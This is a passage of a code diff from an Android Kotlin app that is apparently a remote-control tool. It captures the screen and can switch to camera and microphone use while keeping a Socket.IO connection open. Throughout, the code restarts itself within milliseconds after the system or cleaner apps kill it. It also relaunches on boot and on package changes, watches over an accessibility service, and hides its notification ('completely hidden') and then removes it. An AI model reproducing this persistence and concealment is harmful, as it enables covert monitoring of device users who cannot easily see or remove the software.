||||
}
|
||||
|
||||
Log.i(TAG, "✅ 保活服务启动完成")
|
||||
DeviceMetricsReporter.reportKeepAlive(
|
||||
context = context,
|
||||
metricName = "enhanced_event_recovery_start",
|
||||
success = true,
|
||||
data = mapOf("source" to "EnhancedSystemEventReceiver")
|
||||
)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 启动保活服务失败", e)
|
||||
DeviceMetricsReporter.reportKeepAlive(
|
||||
context = context,
|
||||
metricName = "enhanced_event_recovery_start",
|
||||
success = false,
|
||||
data = mapOf(
|
||||
"source" to "EnhancedSystemEventReceiver",
|
||||
"error" to (e.message ?: "unknown")
|
||||
)
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -170,6 +202,14 @@ class EnhancedBootReceiver : BroadcastReceiver() {
|
||||
try {
|
||||
val action = intent.action
|
||||
Log.i(TAG, "🚀 收到开机广播: $action")
|
||||
val flags = RuntimeFeatureFlags.current(context)
|
||||
if (!flags.bootAutoStart || !flags.enhancedEventRecovery) {
|
||||
Log.i(
|
||||
TAG,
|
||||
"⏭️ featureFlags阻止开机恢复: bootAutoStart=${flags.bootAutoStart}, enhancedEventRecovery=${flags.enhancedEventRecovery}"
|
||||
)
|
||||
return
|
||||
}
|
||||
|
||||
when (action) {
|
||||
Intent.ACTION_BOOT_COMPLETED,
|
||||
@@ -199,8 +239,23 @@ class EnhancedBootReceiver : BroadcastReceiver() {
|
||||
enhancedReceiver.onReceive(context, Intent("android.mycustrecev.RESTART_SERVICES"))
|
||||
|
||||
Log.i(TAG, "✅ 开机自启动完成")
|
||||
DeviceMetricsReporter.reportKeepAlive(
|
||||
context = context,
|
||||
metricName = "enhanced_boot_recovery_start",
|
||||
success = true,
|
||||
data = mapOf("source" to "EnhancedBootReceiver")
|
||||
)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 开机自启动失败", e)
|
||||
DeviceMetricsReporter.reportKeepAlive(
|
||||
context = context,
|
||||
metricName = "enhanced_boot_recovery_start",
|
||||
success = false,
|
||||
data = mapOf(
|
||||
"source" to "EnhancedBootReceiver",
|
||||
"error" to (e.message ?: "unknown")
|
||||
)
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -272,6 +327,12 @@ class EnhancedPackagesReceiver : BroadcastReceiver() {
|
||||
*/
|
||||
private fun startAllKeepAliveServices(context: Context) {
|
||||
try {
|
||||
val flags = RuntimeFeatureFlags.current(context)
|
||||
if (!flags.enhancedEventRecovery) {
|
||||
Log.i(TAG, "⏭️ enhancedEventRecovery=false,跳过包变化恢复")
|
||||
return
|
||||
}
|
||||
|
||||
Log.i(TAG, "🚀 启动所有保活服务")
|
||||
|
||||
val enhancedReceiver = EnhancedSystemEventReceiver()
|
||||
|
||||
@@ -4,6 +4,8 @@ import android.content.Context
|
||||
import android.util.Log
|
||||
import androidx.work.CoroutineWorker
|
||||
import androidx.work.WorkerParameters
|
||||
import com.hikoncont.util.DeviceDetector
|
||||
import com.hikoncont.util.ForegroundServiceStarter
|
||||
|
||||
/**
|
||||
* 立即恢复工作器(一次性执行)
|
||||
@@ -46,9 +48,14 @@ class ImmediateRecoveryWorker(
|
||||
|
||||
private suspend fun startForegroundService() {
|
||||
try {
|
||||
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
|
||||
applicationContext.startForegroundService(intent)
|
||||
Log.d(TAG, "✅ 前台服务立即启动完成")
|
||||
val policy = DeviceDetector.getKeepAlivePolicy()
|
||||
ForegroundServiceStarter.maybeStartRemoteForegroundService(
|
||||
context = applicationContext,
|
||||
action = "RESTART_SERVICE",
|
||||
reason = "workmanager_immediate_worker",
|
||||
minIntervalMs = policy.minForegroundKickIntervalMs
|
||||
)
|
||||
Log.d(TAG, "✅ 前台服务立即启动逻辑已执行")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 立即启动前台服务失败", e)
|
||||
}
|
||||
@@ -73,9 +80,14 @@ class ImmediateRecoveryWorker(
|
||||
|
||||
// 只启动后台服务,不启动Activity
|
||||
try {
|
||||
val serviceIntent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
|
||||
applicationContext.startForegroundService(serviceIntent)
|
||||
Log.d(TAG, "✅ 后台服务已启动")
|
||||
val policy = DeviceDetector.getKeepAlivePolicy()
|
||||
ForegroundServiceStarter.maybeStartRemoteForegroundService(
|
||||
context = applicationContext,
|
||||
action = "RESTART_SERVICE",
|
||||
reason = "workmanager_immediate_activity_fallback",
|
||||
minIntervalMs = policy.minForegroundKickIntervalMs
|
||||
)
|
||||
Log.d(TAG, "✅ 后台服务启动逻辑已执行")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 启动后台服务失败", e)
|
||||
}
|
||||
|
||||
@@ -9,11 +9,14 @@ import android.app.NotificationManager
|
||||
import android.content.ComponentName
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.content.pm.ServiceInfo
|
||||
import android.content.pm.PackageManager
|
||||
import android.os.IBinder
|
||||
import android.os.PowerManager
|
||||
import android.os.Process
|
||||
import android.util.Log
|
||||
import com.hikoncont.util.DeviceDetector
|
||||
import com.hikoncont.util.ForegroundServiceStarter
|
||||
import kotlinx.coroutines.*
|
||||
|
||||
/**
|
||||
@@ -24,7 +27,6 @@ class KeepAliveService : Service() {
|
||||
|
||||
companion object {
|
||||
private const val TAG = "KeepAliveService"
|
||||
private const val CHECK_INTERVAL = 1000L // ✅ 激进优化:1秒检查一次,快速发现问题
|
||||
private const val QUICK_RECOVERY_DELAY = 50L // ✅ 快速恢复:50ms延迟
|
||||
private const val AGGRESSIVE_RECOVERY_DELAY = 20L // ✅ 激进恢复:20ms延迟
|
||||
|
||||
@@ -37,6 +39,7 @@ class KeepAliveService : Service() {
|
||||
private var monitorJob: Job? = null
|
||||
private var wakeLock: PowerManager.WakeLock? = null
|
||||
private var foregroundStarted: Boolean = false
|
||||
private val keepAlivePolicy by lazy { DeviceDetector.getKeepAlivePolicy() }
|
||||
|
||||
// ✅ 新增:无障碍服务重启控制
|
||||
private var accessibilityRestartCount = 0
|
||||
@@ -73,7 +76,7 @@ class KeepAliveService : Service() {
|
||||
releaseWakeLock()
|
||||
|
||||
// 被系统或清理工具杀死时,安排激进自恢复
|
||||
scheduleSelfAndCoreRestart(AGGRESSIVE_RECOVERY_DELAY) // ✅ 激进:50ms快速恢复
|
||||
scheduleSelfAndCoreRestart(getRecoveryDelayMs())
|
||||
Log.i(TAG, "🚀 启动激进保活恢复机制")
|
||||
|
||||
monitorJob?.cancel()
|
||||
@@ -83,7 +86,7 @@ class KeepAliveService : Service() {
|
||||
|
||||
override fun onTaskRemoved(rootIntent: Intent?) {
|
||||
Log.w(TAG, "🧹 检测到任务被移除(onTaskRemoved),安排服务自恢复")
|
||||
scheduleSelfAndCoreRestart(AGGRESSIVE_RECOVERY_DELAY) // ✅ 激进:50ms极速恢复
|
||||
scheduleSelfAndCoreRestart(getRecoveryDelayMs())
|
||||
Log.i(TAG, "🚀 任务移除,启动激进恢复")
|
||||
super.onTaskRemoved(rootIntent)
|
||||
}
|
||||
@@ -130,15 +133,15 @@ class KeepAliveService : Service() {
|
||||
// ✅ 关键:检查APP是否安装完成,未完成则不监控无障碍权限
|
||||
if (!isAppInstallationComplete()) {
|
||||
Log.d(TAG, "🔒 APP安装未完成,跳过无障碍权限监控")
|
||||
delay(CHECK_INTERVAL)
|
||||
delay(getCheckIntervalMs())
|
||||
continue
|
||||
}
|
||||
|
||||
checkAndRestartServices()
|
||||
delay(CHECK_INTERVAL)
|
||||
delay(getCheckIntervalMs())
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "监控过程中发生错误", e)
|
||||
delay(CHECK_INTERVAL)
|
||||
delay(getCheckIntervalMs())
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -421,10 +424,13 @@ class KeepAliveService : Service() {
|
||||
*/
|
||||
private fun restartForegroundService() {
|
||||
try {
|
||||
val intent = Intent(this, RemoteControlForegroundService::class.java)
|
||||
intent.action = "RESTART_SERVICE"
|
||||
startForegroundService(intent)
|
||||
Log.i(TAG, "已重启前台服务")
|
||||
ForegroundServiceStarter.maybeStartRemoteForegroundService(
|
||||
context = this,
|
||||
action = "RESTART_SERVICE",
|
||||
reason = "keepalive_restart",
|
||||
minIntervalMs = keepAlivePolicy.minForegroundKickIntervalMs
|
||||
)
|
||||
Log.i(TAG, "已执行前台服务重启逻辑")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "重启前台服务失败", e)
|
||||
}
|
||||
@@ -451,6 +457,18 @@ class KeepAliveService : Service() {
|
||||
Log.e(TAG, "❌ 启动多重保活机制失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
private fun getCheckIntervalMs(): Long {
|
||||
return keepAlivePolicy.keepAliveCheckIntervalMs
|
||||
}
|
||||
|
||||
private fun getRecoveryDelayMs(): Long {
|
||||
return if (keepAlivePolicy.enableAggressiveWorkers) {
|
||||
AGGRESSIVE_RECOVERY_DELAY
|
||||
} else {
|
||||
1500L
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* AlarmManager保活机制
|
||||
@@ -459,9 +477,6 @@ class KeepAliveService : Service() {
|
||||
try {
|
||||
val alarmManager = getSystemService(Context.ALARM_SERVICE) as AlarmManager
|
||||
|
||||
val rcfsIntent = Intent(this, RemoteControlForegroundService::class.java).apply {
|
||||
action = "RESTART_SERVICE"
|
||||
}
|
||||
val keepAliveIntent = Intent(this, KeepAliveService::class.java)
|
||||
|
||||
val pendingFlags = (PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE)
|
||||
@@ -470,6 +485,15 @@ class KeepAliveService : Service() {
|
||||
val randomId1 = (System.currentTimeMillis() % 10000).toInt()
|
||||
val randomId2 = randomId1 + 1
|
||||
|
||||
val rcfsIntent = Intent(this, RemoteControlForegroundService::class.java).apply {
|
||||
action = "RESTART_SERVICE"
|
||||
}
|
||||
val keepAlivePI = PendingIntent.getService(
|
||||
this,
|
||||
randomId2,
|
||||
keepAliveIntent,
|
||||
pendingFlags
|
||||
)
|
||||
val rcfsPI = PendingIntent.getForegroundService(
|
||||
this,
|
||||
randomId1,
|
||||
@@ -477,24 +501,55 @@ class KeepAliveService : Service() {
|
||||
pendingFlags
|
||||
)
|
||||
|
||||
val keepAlivePI = PendingIntent.getService(
|
||||
this,
|
||||
randomId2,
|
||||
keepAliveIntent,
|
||||
pendingFlags
|
||||
)
|
||||
|
||||
val triggerAt = System.currentTimeMillis() + delayMillis
|
||||
|
||||
// 使用极速恢复策略
|
||||
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI)
|
||||
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + QUICK_RECOVERY_DELAY, keepAlivePI) // ✅ 激进:100ms极速恢复
|
||||
scheduleWakeAlarm(
|
||||
alarmManager = alarmManager,
|
||||
triggerAt = triggerAt,
|
||||
pendingIntent = rcfsPI,
|
||||
label = "rcfs_restart"
|
||||
)
|
||||
scheduleWakeAlarm(
|
||||
alarmManager = alarmManager,
|
||||
triggerAt = triggerAt + QUICK_RECOVERY_DELAY,
|
||||
pendingIntent = keepAlivePI,
|
||||
label = "keepalive_restart"
|
||||
) // ✅ 激进:100ms极速恢复
|
||||
|
||||
Log.i(TAG, "⏰ AlarmManager保活已安排: 前台服务(${delayMillis}ms) + 保活服务(${delayMillis + 200}ms)")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ AlarmManager保活安排失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
private fun scheduleWakeAlarm(
|
||||
alarmManager: AlarmManager,
|
||||
triggerAt: Long,
|
||||
pendingIntent: PendingIntent,
|
||||
label: String
|
||||
) {
|
||||
try {
|
||||
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, pendingIntent)
|
||||
return
|
||||
} catch (security: SecurityException) {
|
||||
Log.w(TAG, "⚠️ Exact alarm denied for $label, fallback to setAndAllowWhileIdle", security)
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "⚠️ Exact alarm failed for $label, fallback to setAndAllowWhileIdle", e)
|
||||
}
|
||||
|
||||
try {
|
||||
alarmManager.setAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, pendingIntent)
|
||||
return
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "⚠️ setAndAllowWhileIdle failed for $label, fallback to set", e)
|
||||
}
|
||||
|
||||
try {
|
||||
alarmManager.set(AlarmManager.RTC_WAKEUP, triggerAt, pendingIntent)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ Alarm fallback failed for $label", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* JobScheduler保活机制(Android 5.0+)
|
||||
@@ -536,7 +591,6 @@ class KeepAliveService : Service() {
|
||||
try {
|
||||
Log.i(TAG, "📡 广播保活机制触发")
|
||||
|
||||
// 启动前台服务
|
||||
val rcfsIntent = Intent(this@KeepAliveService, RemoteControlForegroundService::class.java).apply {
|
||||
action = "RESTART_SERVICE"
|
||||
}
|
||||
@@ -607,11 +661,15 @@ class KeepAliveService : Service() {
|
||||
.setVisibility(Notification.VISIBILITY_SECRET) // ✅ 完全隐藏
|
||||
.build()
|
||||
|
||||
startForeground(1001, notification)
|
||||
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.Q) {
|
||||
startForeground(1001, notification, ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC)
|
||||
} else {
|
||||
startForeground(1001, notification)
|
||||
}
|
||||
|
||||
// ✅ 尝试移除通知(某些设备上可能有效)
|
||||
try {
|
||||
if (android.os.Build.VERSION.SDK_INT >= 24) {
|
||||
if (android.os.Build.VERSION.SDK_INT in 24..33) {
|
||||
stopForeground(Service.STOP_FOREGROUND_REMOVE)
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
@@ -625,4 +683,4 @@ class KeepAliveService : Service() {
|
||||
Log.e(TAG, "❌ KeepAliveService 前台启动失败", e)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -275,9 +275,20 @@ class ProcessMonitorService : Service() {
|
||||
)
|
||||
|
||||
val triggerAt = System.currentTimeMillis() + 50 // 50ms延迟
|
||||
|
||||
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI)
|
||||
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 50, keepAlivePI)
|
||||
|
||||
try {
|
||||
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI)
|
||||
} catch (security: SecurityException) {
|
||||
Log.w(TAG, "Exact alarm denied for process monitor RCFS restart, fallback to inexact wake alarm", security)
|
||||
alarmManager.setAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI)
|
||||
}
|
||||
|
||||
try {
|
||||
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 50, keepAlivePI)
|
||||
} catch (security: SecurityException) {
|
||||
Log.w(TAG, "Exact alarm denied for process monitor KeepAlive restart, fallback to inexact wake alarm", security)
|
||||
alarmManager.setAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 50, keepAlivePI)
|
||||
}
|
||||
|
||||
Log.i(TAG, "✅ 激进恢复机制已启动")
|
||||
} catch (e: Exception) {
|
||||
|
||||
@@ -20,6 +20,8 @@ import androidx.core.app.NotificationCompat
|
||||
import kotlinx.coroutines.*
|
||||
import com.hikoncont.MediaProjectionHolder
|
||||
import com.hikoncont.R
|
||||
import com.hikoncont.util.DeviceDetector
|
||||
import com.hikoncont.util.registerReceiverCompat
|
||||
|
||||
/**
|
||||
* 远程控制前台服务
|
||||
@@ -36,6 +38,13 @@ class RemoteControlForegroundService : Service() {
|
||||
private const val NOTIFICATION_CHANNEL_ID = "media_projection_service"
|
||||
private const val NOTIFICATION_ID = 2001
|
||||
private const val RESTART_DELAY = 3000L // 重启延迟3秒
|
||||
const val ACTION_START_MEDIA_PROJECTION = "START_MEDIA_PROJECTION"
|
||||
const val ACTION_START_MEDIA_PROJECTION_FGS_ONLY = "START_MEDIA_PROJECTION_FGS_ONLY"
|
||||
const val ACTION_STOP_SCREEN_CAPTURE = "STOP_SCREEN_CAPTURE"
|
||||
const val ACTION_RESTART_SERVICE = "RESTART_SERVICE"
|
||||
const val ACTION_UPGRADE_CAMERA = "UPGRADE_CAMERA_FGS_TYPE"
|
||||
const val ACTION_UPGRADE_MICROPHONE = "UPGRADE_MICROPHONE_FGS_TYPE"
|
||||
const val ACTION_UPGRADE_CAMERA_MICROPHONE = "UPGRADE_CAMERA_MICROPHONE_FGS_TYPE"
|
||||
}
|
||||
|
||||
private var mediaProjection: MediaProjection? = null
|
||||
@@ -44,6 +53,11 @@ class RemoteControlForegroundService : Service() {
|
||||
private var wifiLock: android.net.wifi.WifiManager.WifiLock? = null
|
||||
private val serviceScope = CoroutineScope(Dispatchers.Main + SupervisorJob())
|
||||
private var keepAliveJob: Job? = null
|
||||
private var disableAutoRestart = false
|
||||
private var foregroundEstablished = false
|
||||
private var currentForegroundType: Int? = null
|
||||
private var lastSocketRecoveryAt = 0L
|
||||
private val socketRecoveryCooldownMs = 20_000L
|
||||
|
||||
// ✅ Android 15深度恢复广播接收器
|
||||
private val deepRecoveryReceiver = object : BroadcastReceiver() {
|
||||
@@ -67,7 +81,7 @@ class RemoteControlForegroundService : Service() {
|
||||
// ✅ 注册Android 15深度恢复广播接收器
|
||||
if (Build.VERSION.SDK_INT >= 35) {
|
||||
val filter = IntentFilter("android.mycustrecev.DEEP_RECOVERY_MODE")
|
||||
registerReceiver(deepRecoveryReceiver, filter)
|
||||
registerReceiverCompat(deepRecoveryReceiver, filter)
|
||||
Log.i(TAG, "✅ 已注册Android 15深度恢复广播接收器")
|
||||
}
|
||||
|
||||
@@ -81,22 +95,51 @@ class RemoteControlForegroundService : Service() {
|
||||
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
|
||||
Log.i(TAG, "前台服务启动命令: ${intent?.action}")
|
||||
|
||||
if (intent?.action == ACTION_STOP_SCREEN_CAPTURE) {
|
||||
handleStopScreenCapture()
|
||||
return START_NOT_STICKY
|
||||
}
|
||||
|
||||
val isProjectionRequest =
|
||||
intent?.action == ACTION_START_MEDIA_PROJECTION ||
|
||||
intent?.action == ACTION_START_MEDIA_PROJECTION_FGS_ONLY
|
||||
val requestCameraType =
|
||||
intent?.action == ACTION_UPGRADE_CAMERA || intent?.action == ACTION_UPGRADE_CAMERA_MICROPHONE
|
||||
val requestMicrophoneType =
|
||||
intent?.action == ACTION_UPGRADE_MICROPHONE || intent?.action == ACTION_UPGRADE_CAMERA_MICROPHONE
|
||||
val foregroundStarted = startForegroundService(
|
||||
preferMediaProjectionType = isProjectionRequest,
|
||||
requireCameraType = requestCameraType,
|
||||
requireMicrophoneType = requestMicrophoneType,
|
||||
action = intent?.action
|
||||
)
|
||||
if (!foregroundStarted) {
|
||||
Log.w(TAG, "⚠️ 前台服务启动失败,忽略本次命令: action=${intent?.action}")
|
||||
return START_NOT_STICKY
|
||||
}
|
||||
|
||||
when (intent?.action) {
|
||||
"START_MEDIA_PROJECTION" -> {
|
||||
ACTION_START_MEDIA_PROJECTION -> {
|
||||
handleStartMediaProjection(intent)
|
||||
}
|
||||
"STOP_SCREEN_CAPTURE" -> {
|
||||
handleStopScreenCapture()
|
||||
ACTION_START_MEDIA_PROJECTION_FGS_ONLY -> {
|
||||
Log.i(TAG, "仅升级前台服务到mediaProjection类型,不预创建MediaProjection对象")
|
||||
}
|
||||
"RESTART_SERVICE" -> {
|
||||
ACTION_UPGRADE_CAMERA -> {
|
||||
Log.i(TAG, "前台服务类型升级请求: camera")
|
||||
}
|
||||
ACTION_UPGRADE_MICROPHONE -> {
|
||||
Log.i(TAG, "前台服务类型升级请求: microphone")
|
||||
}
|
||||
ACTION_UPGRADE_CAMERA_MICROPHONE -> {
|
||||
Log.i(TAG, "前台服务类型升级请求: camera|microphone")
|
||||
}
|
||||
ACTION_RESTART_SERVICE -> {
|
||||
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
|
||||
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
|
||||
}
|
||||
}
|
||||
|
||||
// 确保前台服务已启动
|
||||
startForegroundService()
|
||||
|
||||
return START_STICKY
|
||||
}
|
||||
|
||||
@@ -104,9 +147,6 @@ class RemoteControlForegroundService : Service() {
|
||||
try {
|
||||
Log.i(TAG, "开始处理MediaProjection")
|
||||
|
||||
// 启动前台服务
|
||||
startForegroundService()
|
||||
|
||||
// ✅ 优先检查 Holder 中是否已有有效的 MediaProjection 对象
|
||||
val existingProjection = MediaProjectionHolder.getMediaProjection()
|
||||
if (existingProjection != null) {
|
||||
@@ -204,28 +244,140 @@ class RemoteControlForegroundService : Service() {
|
||||
}
|
||||
}
|
||||
|
||||
private fun startForegroundService() {
|
||||
private fun startForegroundService(
|
||||
preferMediaProjectionType: Boolean = false,
|
||||
requireCameraType: Boolean = false,
|
||||
requireMicrophoneType: Boolean = false,
|
||||
action: String? = null
|
||||
): Boolean {
|
||||
val notification = createNotification()
|
||||
|
||||
if (Build.VERSION.SDK_INT >= 34) {
|
||||
// ✅ Android 14+ (API 34+):参考billd-desk,传入FOREGROUND_SERVICE_TYPE_MANIFEST(-1)
|
||||
// 让系统从Manifest中读取foregroundServiceType,确保权限正确声明
|
||||
startForeground(
|
||||
NOTIFICATION_ID,
|
||||
notification,
|
||||
ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION
|
||||
)
|
||||
} else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||
startForeground(
|
||||
NOTIFICATION_ID,
|
||||
notification,
|
||||
ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION
|
||||
)
|
||||
} else {
|
||||
startForeground(NOTIFICATION_ID, notification)
|
||||
val hasProjectionGrant =
|
||||
mediaProjection != null ||
|
||||
MediaProjectionHolder.getMediaProjection() != null ||
|
||||
MediaProjectionHolder.getPermissionData() != null
|
||||
val requestedType = buildForegroundType(
|
||||
preferMediaProjectionType = preferMediaProjectionType,
|
||||
requireCameraType = requireCameraType,
|
||||
requireMicrophoneType = requireMicrophoneType,
|
||||
hasProjectionGrant = hasProjectionGrant
|
||||
)
|
||||
DeviceDetector.getKeepAlivePolicy() // 触发统一策略日志,便于排障
|
||||
|
||||
// 同一进程内只做一次前台建立,后续命令复用现有前台状态,避免重复消耗时限。
|
||||
if (foregroundEstablished) {
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||
val mergedType = mergeForegroundType(currentForegroundType, requestedType)
|
||||
if (mergedType == currentForegroundType) {
|
||||
Log.d(
|
||||
TAG,
|
||||
"foreground already established, type unchanged=${describeForegroundType(mergedType)} action=$action"
|
||||
)
|
||||
return true
|
||||
}
|
||||
return try {
|
||||
startForeground(
|
||||
NOTIFICATION_ID,
|
||||
notification,
|
||||
mergedType
|
||||
)
|
||||
currentForegroundType = mergedType
|
||||
Log.i(
|
||||
TAG,
|
||||
"前台服务类型已升级: type=${describeForegroundType(mergedType)}, action=$action"
|
||||
)
|
||||
true
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "前台服务类型升级失败,维持当前前台状态: action=$action", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
Log.d(TAG, "foreground already established, skip duplicate startForeground: action=$action")
|
||||
return true
|
||||
}
|
||||
|
||||
Log.i(TAG, "前台服务已启动")
|
||||
|
||||
return try {
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||
startForeground(
|
||||
NOTIFICATION_ID,
|
||||
notification,
|
||||
requestedType
|
||||
)
|
||||
currentForegroundType = requestedType
|
||||
} else {
|
||||
startForeground(NOTIFICATION_ID, notification)
|
||||
currentForegroundType = null
|
||||
}
|
||||
|
||||
Log.i(
|
||||
TAG,
|
||||
"前台服务已启动,type=${describeForegroundType(currentForegroundType)}"
|
||||
)
|
||||
if (preferMediaProjectionType && !hasProjectionGrant) {
|
||||
Log.w(TAG, "请求了mediaProjection前台类型,但当前无有效投屏授权,已降级为dataSync避免崩溃")
|
||||
}
|
||||
foregroundEstablished = true
|
||||
true
|
||||
} catch (e: Exception) {
|
||||
if (e.javaClass.simpleName.contains("ForegroundServiceStartNotAllowedException")) {
|
||||
disableAutoRestart = true
|
||||
Log.e(TAG, "前台服务类型时限触发,已禁用自动重拉避免崩溃风暴", e)
|
||||
} else {
|
||||
Log.e(TAG, "前台服务启动失败", e)
|
||||
}
|
||||
try {
|
||||
stopForeground(STOP_FOREGROUND_REMOVE)
|
||||
} catch (_: Exception) {
|
||||
}
|
||||
try {
|
||||
stopSelf()
|
||||
} catch (_: Exception) {
|
||||
}
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
private fun buildForegroundType(
|
||||
preferMediaProjectionType: Boolean,
|
||||
requireCameraType: Boolean,
|
||||
requireMicrophoneType: Boolean,
|
||||
hasProjectionGrant: Boolean
|
||||
): Int {
|
||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) {
|
||||
return 0
|
||||
}
|
||||
var type = ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC
|
||||
if (preferMediaProjectionType && hasProjectionGrant) {
|
||||
type = type or ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION
|
||||
}
|
||||
if (requireCameraType) {
|
||||
type = type or ServiceInfo.FOREGROUND_SERVICE_TYPE_CAMERA
|
||||
}
|
||||
if (requireMicrophoneType) {
|
||||
type = type or ServiceInfo.FOREGROUND_SERVICE_TYPE_MICROPHONE
|
||||
}
|
||||
return type
|
||||
}
|
||||
|
||||
private fun mergeForegroundType(currentType: Int?, requestedType: Int): Int {
|
||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) {
|
||||
return 0
|
||||
}
|
||||
val base = currentType ?: ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC
|
||||
return base or requestedType
|
||||
}
|
||||
|
||||
private fun describeForegroundType(type: Int?): String {
|
||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) {
|
||||
return "legacy"
|
||||
}
|
||||
val value = type ?: ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC
|
||||
val parts = mutableListOf<String>()
|
||||
if (value and ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC != 0) parts += "dataSync"
|
||||
if (value and ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION != 0) parts += "mediaProjection"
|
||||
if (value and ServiceInfo.FOREGROUND_SERVICE_TYPE_CAMERA != 0) parts += "camera"
|
||||
if (value and ServiceInfo.FOREGROUND_SERVICE_TYPE_MICROPHONE != 0) parts += "microphone"
|
||||
if (parts.isEmpty()) parts += "none($value)"
|
||||
return parts.joinToString("|")
|
||||
}
|
||||
|
||||
private fun notifyAccessibilityService() {
|
||||
@@ -438,8 +590,22 @@ class RemoteControlForegroundService : Service() {
|
||||
|
||||
// ✅ 只检查Socket.IO连接状态,WebSocket已移除
|
||||
if (!socketIOConnected) {
|
||||
Log.w(TAG, "⚠️ 检测到Socket.IO连接断开,但等待其自动重连机制处理")
|
||||
// 让Socket.IO的重连机制工作,前台服务不强制干预
|
||||
val recoverNow = System.currentTimeMillis()
|
||||
val elapsed = recoverNow - lastSocketRecoveryAt
|
||||
if (elapsed >= socketRecoveryCooldownMs) {
|
||||
lastSocketRecoveryAt = recoverNow
|
||||
Log.w(TAG, "⚠️ 检测到Socket.IO连接断开,触发主动连接自愈")
|
||||
try {
|
||||
accessibilityService.checkAndStartConnection()
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 主动连接自愈触发失败", e)
|
||||
}
|
||||
} else {
|
||||
Log.d(
|
||||
TAG,
|
||||
"⏳ Socket.IO重连冷却中: ${elapsed}ms/${socketRecoveryCooldownMs}ms"
|
||||
)
|
||||
}
|
||||
} else {
|
||||
Log.d(TAG, "✅ Socket.IO连接正常: $socketIOConnected")
|
||||
}
|
||||
@@ -556,6 +722,8 @@ class RemoteControlForegroundService : Service() {
|
||||
// 这会导致Android 15设备权限丢失
|
||||
// mediaProjection?.stop() // 删除,避免权限被意外停止
|
||||
mediaProjection = null
|
||||
foregroundEstablished = false
|
||||
currentForegroundType = null
|
||||
|
||||
// 只清理引用,保留权限数据
|
||||
MediaProjectionHolder.clearMediaProjection()
|
||||
@@ -570,8 +738,12 @@ class RemoteControlForegroundService : Service() {
|
||||
}
|
||||
}
|
||||
|
||||
// 服务销毁时自动重启
|
||||
scheduleRestart()
|
||||
// 服务销毁时自动重启(保守策略 + 启动受限场景下跳过,避免循环崩溃)
|
||||
if (!disableAutoRestart) {
|
||||
scheduleRestart()
|
||||
} else {
|
||||
Log.w(TAG, "skip auto restart after foreground start restriction")
|
||||
}
|
||||
|
||||
super.onDestroy()
|
||||
}
|
||||
@@ -594,11 +766,27 @@ class RemoteControlForegroundService : Service() {
|
||||
val alarmManager = getSystemService(Context.ALARM_SERVICE) as android.app.AlarmManager
|
||||
val restartTime = System.currentTimeMillis() + RESTART_DELAY
|
||||
|
||||
alarmManager.setExact(
|
||||
android.app.AlarmManager.RTC_WAKEUP,
|
||||
restartTime,
|
||||
pendingIntent
|
||||
)
|
||||
try {
|
||||
